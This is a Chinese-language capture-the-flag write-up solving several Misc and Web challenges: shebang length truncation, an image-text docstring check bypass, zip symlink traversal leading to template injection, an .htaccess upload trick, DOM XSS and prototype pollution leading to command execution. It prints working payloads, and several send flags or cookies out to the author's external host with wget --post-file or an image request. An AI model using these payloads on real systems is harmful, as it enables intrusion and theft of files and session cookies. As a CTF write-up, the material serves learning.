這次Web破台,可是又變成一人比賽
我太難了
隊伍一樣是 Starburst Kiwawa
Misc
Execgen
題目是一個 bash script
會讀取一行輸入,在前面加上#!
然後最後面加上一些垃圾
最後再執行
# create the script, easy!
read -r script
# oh, don't forget to add watermark!
script+='(created by execgen)'
# run the script for you, sweet!
tmp=$(mktemp)
echo "#!$script" > "$tmp"
chmod 0755 "$tmp"
out=$("$tmp")
echo "$out"
rm "$tmp"
去翻execve的linux manual
在Interpreter scripts的Note的地方可以看到255個字元以後都會忽視掉
所以payload長這樣
/bin/cat /home/chal//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////flag
FLAG{t0o0oo_m4ny_w4ys_t0_g37_fl4g}
Execgen-safe
是上一題的 revenge
只多了一個 regex
regex=’^[A-Za-z0-9 /]*$’
可以看到有允許/存在
所以用同樣的 payload 就好==
FLAG{7h3_5p4c3_i5_l1m1t3d}
Veronese
題目是一個 Flask 的 Web server
有兩個 route 分別是 /to_image
跟 /exec
前者要你上傳叫 code
的檔案並且把裡面的文字轉換成圖片
而後者除了把 code
轉換成圖片外
會再把圖片轉回文字
然後確認文字是不是一個 Python 的 doc string
如果是的話,則執行一開始上傳的 code
ACCEPTABLE_ASCII = " 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
def texts_to_image(texts: Union[list[str], list[bytes]],
rows: int = 3,
cols: int = MAX_LEN) -> Optional[Image.Image]:
img = Image.new("RGB", (cols * FONT_WIDTH, rows * FONT_HEIGHT),
(255, 255, 255))
draw = ImageDraw.Draw(img)
font = ImageFont.truetype(FONT_FILE, FONT_SIZE)
test = []
for i, s in enumerate(texts):
if i == rows:
return None
if isinstance(s, bytes):
try:
s = s.decode('ascii')
test.append(s)
except Exception as e:
return None
if len(s) > cols:
return None
draw.text((0, i * FONT_HEIGHT), s, (0, 0, 0), font)
return img
def image_to_texts(img: Image.Image, rows: int = 3, cols: int = MAX_LEN) -> list[str]:
char_map : Dict[str, Image.Image] = {}
for char in ACCEPTABLE_ASCII:
char_map[char] = texts_to_image([char], 1, 1)
texts : list[str] = []
for h in range(rows):
texts.append("")
for w in range(cols):
target_img = img.crop(
(w * FONT_WIDTH, h * FONT_HEIGHT, w * FONT_WIDTH + FONT_WIDTH,
h * FONT_HEIGHT + FONT_HEIGHT))
for char, char_img in char_map.items():
if is_same_image(char_img, target_img):
texts[-1] += char
break
texts[-1] = texts[-1].strip()
return texts
def is_docstring(texts: list[str]) -> bool:
if len(texts) != 3:
return False
if texts[0] != "'''":
return False
if texts[2] != "'''":
return False
if "'" in texts[1]:
return False
return True
主要的關鍵是 image_to_text
裡
他會先把 ACCEPTABLE_ASCII
都先轉換成圖片,然後再把原本圖片去分割一個一個去比對
如果沒有符合的則會直接略過
而我們的目標就是讓他轉過去再轉回來的時候會是合格的 doc
經過長久的測試後,發現如果有 p
這個字,會使得轉換圖片後下面那行的字被蓋到
導致下面那個字被忽略
所以 payload 大概就長這樣
'''
pppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppppp
''';__import__("os").system("wget https://bot.itiscaleb.com --post-file /app/flag")
FLAG{Drawing_is_not_a_good_way_to_check_and_is_so_hard:(}
Web
Share
題目是 flask 的 web server
然後他會讓你上傳一個zip
然後會解壓縮到 /app/static
def safeJoin(_dir, _sub):
filepath = path.join(_dir, _sub)
realpath = path.realpath(filepath)
if not _dir in path.commonpath((_dir, realpath)):
return None
return realpath
def index():
if 'user' in session:
return render_template('index.html', name=session['user'])
return render_template('login.html')
def upload_file():
if 'user' not in session:
return 'Login first'
if 'file' not in request.files or not request.files['file'].filename:
return 'Missing file'
_sub = session['user']
file = request.files['file']
tmppath = path.join('/tmp', urandom(16).hex())
realpath = safeJoin('/app/static', _sub)
if not realpath:
return 'No path traversal'
if not path.exists(realpath):
mkdir(realpath)
file.save(tmppath)
returncode = run(['unzip', '-qo', tmppath, '-d', realpath]).returncode
if returncode != 0:
return 'Not a zip file'
if not path.isfile(path.join(realpath, 'index.html')):
return '"index.html" not found'
return redirect(realpath[4:]+'/index.html', code=302)
總之就是塞 symlink 就能讀 flag 了
FLAG{w0W_y0U_r34L1y_kn0w_sYmL1nK!}
ShaRCE
上一題的 revenge
改了 flag 的讀取權限,導致只能透過 rce 去拿到 flag
稍微觀察會以為 username
可以塞 ../
之類的去導致 path traversal
但由於他 safeJoin
有用 realpath
去檢查所以沒用
後來自己開了 docker 試了一下
發現假如有一個 zip 的檔案結構長這樣
- foo
|- bar.txt
然後在解壓縮到的那個 directory 裡面有個叫 foo
的 symlink
他會把 bar.txt
丟到那個 symlink 連接的資料夾裡
也就是說我們可以先上傳一個連接到 /app/templates
的 symlink
然後再透過剛才的方法把自己的 index.html 丟進去
就可以透過 SSTI 達成 rce 了
FLAG{Pl3aS3_R3m3Mb3r_t0_c13Ar_y0uR_w3B5helL_XD}
Gist
題目是 php,並且可以讓你上傳檔案
並且會檢查裡面是否有 ph 的字樣
if(isset($_FILES['file'])){
$file = $_FILES['file'];
if( preg_match('/ph/i', $file['name']) !== 0
|| preg_match('/ph/i', file_get_contents($file['tmp_name'])) !== 0
|| $file['size'] > 0x100
){ die("Bad file!"); }
$uploadpath = 'upload/'.md5_file($file['tmp_name']).'/';
@mkdir($uploadpath);
move_uploaded_file($file['tmp_name'], $uploadpath.$file['name']);
Header("Location: ".$uploadpath.$file['name']);
die("Upload success!");
}
highlight_file(__FILE__);
<form method=POST enctype=multipart/form-data>
<input type=file name=file>
<input type=submit value=Upload>
</form>
解法就是丟 .htaccess 上去就好了
ErrorDocument 404 %{file:/flag.txt}
FLAG{Wh4t_1f_th3_WAF_b3c0m3_preg_match(‘/h/i’,file_get_contents($file[‘tmp_name’]))!==0}
Trust
這題蠻簡單的阿
不懂為什麼沒什麼人解出來
總之是一題 xss
前端的 js 長這樣
<script>
url.value = window.location;
const get = path => {
return path.split('/').reduce((obj, key) => obj[key], document.all)
}
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
key.value = urlParams.get('key');
value.value = urlParams.get('value');
container.innerHTML = urlParams.get('html').replace(`{{${get(urlParams.get('keypath'))}}}`, get(urlParams.get('valuepath')));
</script>
然後 bot 會帶有 flag 的 cookie 去逛網頁get
函數其實就是取物件的屬性get('0/ownerDocument/cookie')
這樣就能拿到cookie
payload:
/?html=<img src="https://bot.itiscaleb.com?flag={{name}}">&key=name&keypath=key/value&valuepath=0/ownerDocument/cookie
FLAG{n0w_Y0u’r3_tH3_m45T3r_0f_trU4T_tYp3_aNd_1Fr4m3!}
View
這題有夠複雜
首先它是一個 Python 內建的 HTTPServer
他 POST 會去執行一個 js 檔
from subprocess import run, PIPE
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from urllib.parse import urlparse, parse_qs
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.set_headers()
if self.path == '/backdoor':
return self.do_not_call_this_function_its_only_for_debugging_purposes()
return self.wfile.write(self.make_template(something))
def do_POST(self):
self.set_headers()
data_string = self.rfile.read(int(self.headers['Content-Length'])).decode()[5:] # strip('urls=')
ret = run(['node', 'backend.js', data_string], stdout=PIPE, text=True, timeout=5).stdout
return self.wfile.write(self.make_template(ret))
def set_headers(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def make_template(self, html):
...
def do_not_call_this_function_its_only_for_debugging_purposes(self):
if self.headers['host'] != 'localhost':
return self.wfile.write(self.make_template(self.headers['host']))
cmd = parse_qs(urlparse(self.path).query).get('cmd') or ['id']
ret = run(cmd, stdout=PIPE, text=True, timeout=5).stdout
return self.wfile.write(self.make_template(ret))
(async ()=>{
const urls = process.argv[2].split(',')
var cache = {}
for(let url of urls){
url = url.trim()
let parsed_url= url.match(/https?:\/\/(?<host>[^\/]*)\/(?<path>.*)/)
let { host, path } = parsed_url?.groups || {}
if(!parsed_url || !host || host?.match(/localhost/i)){
console.log(`<pre>Invalid URL: ${url}\n(doesn't match /https?:\\/\\/(?<host>[^\\/]*)\\/(?<path>.*)/)</pre>`)
continue
}
cache[host] = cache[host] || {}
await fetch(url).then(r=>r.text()).then(text=>{
let result
try{
result = JSON.parse(text)
}catch{
result = text
}
cache[host][path] = result
}).catch(()=>{})
}
...
})()
會透過 ,
去分割 url
並且fetch
而如果直接去 fetch 0.0.0.0 由於他 response header 沒有 Content-Length 會直接掛掉
可以觀察到有 JSON.parse()
及 cache[host][path]=result
的存在
似乎是 Prototype Pollution
也就是說我們要想辦法讓 match()
分割出來的 host
是 __proto__
但是在正常的情況下其實是 fetch 到我們自己的 server
最後經過大量嘗試大概長這樣
http
://<myhost>/?host=http://__proto__/value
前面的 http\n://
由於不符合regex所以不會被分割出來
並且 fetch 會把 \n 去掉
真正分割出來的是 __proto__
跟 value
所以這樣子我們就可以去控 host 去達成 prototype pollution
然後我們再回去看 Python 的 code
可以看到他 GET 是沒辦法 rce 的
因為 self.path
會包含 query
之後我稍微看了一下 HTTP server 的 source
會發現他執行 do_GET
那些函式其實是把 method 接在 do_
後面然後去確認有沒有這個 attr
也就是說如果我們的method是 not_call_this_function_its_only_for_debugging_purposes
就可以直接rce
payload:
urls=http
://<myhost>/?payload={"host":"localhost"}&host=http://__proto__/headers,
http
://<myhost>/?payload=not_call_this_function_its_only_for_debugging_purposes&host=http://__proto__/method,
http://0.0.0.0:5000/?cmd=wget&cmd=http://<myhost>/&cmd=--post-file&cmd=/flag.txt
我直接架一個server讓他把參數當成回傳的東西
這樣比較方便
FLAG{Pr0toT0tYp3_P0lLuT10n_2_Th3_w1N;)}
結語
最後只拿到 21,但還是進了決賽
有夠扯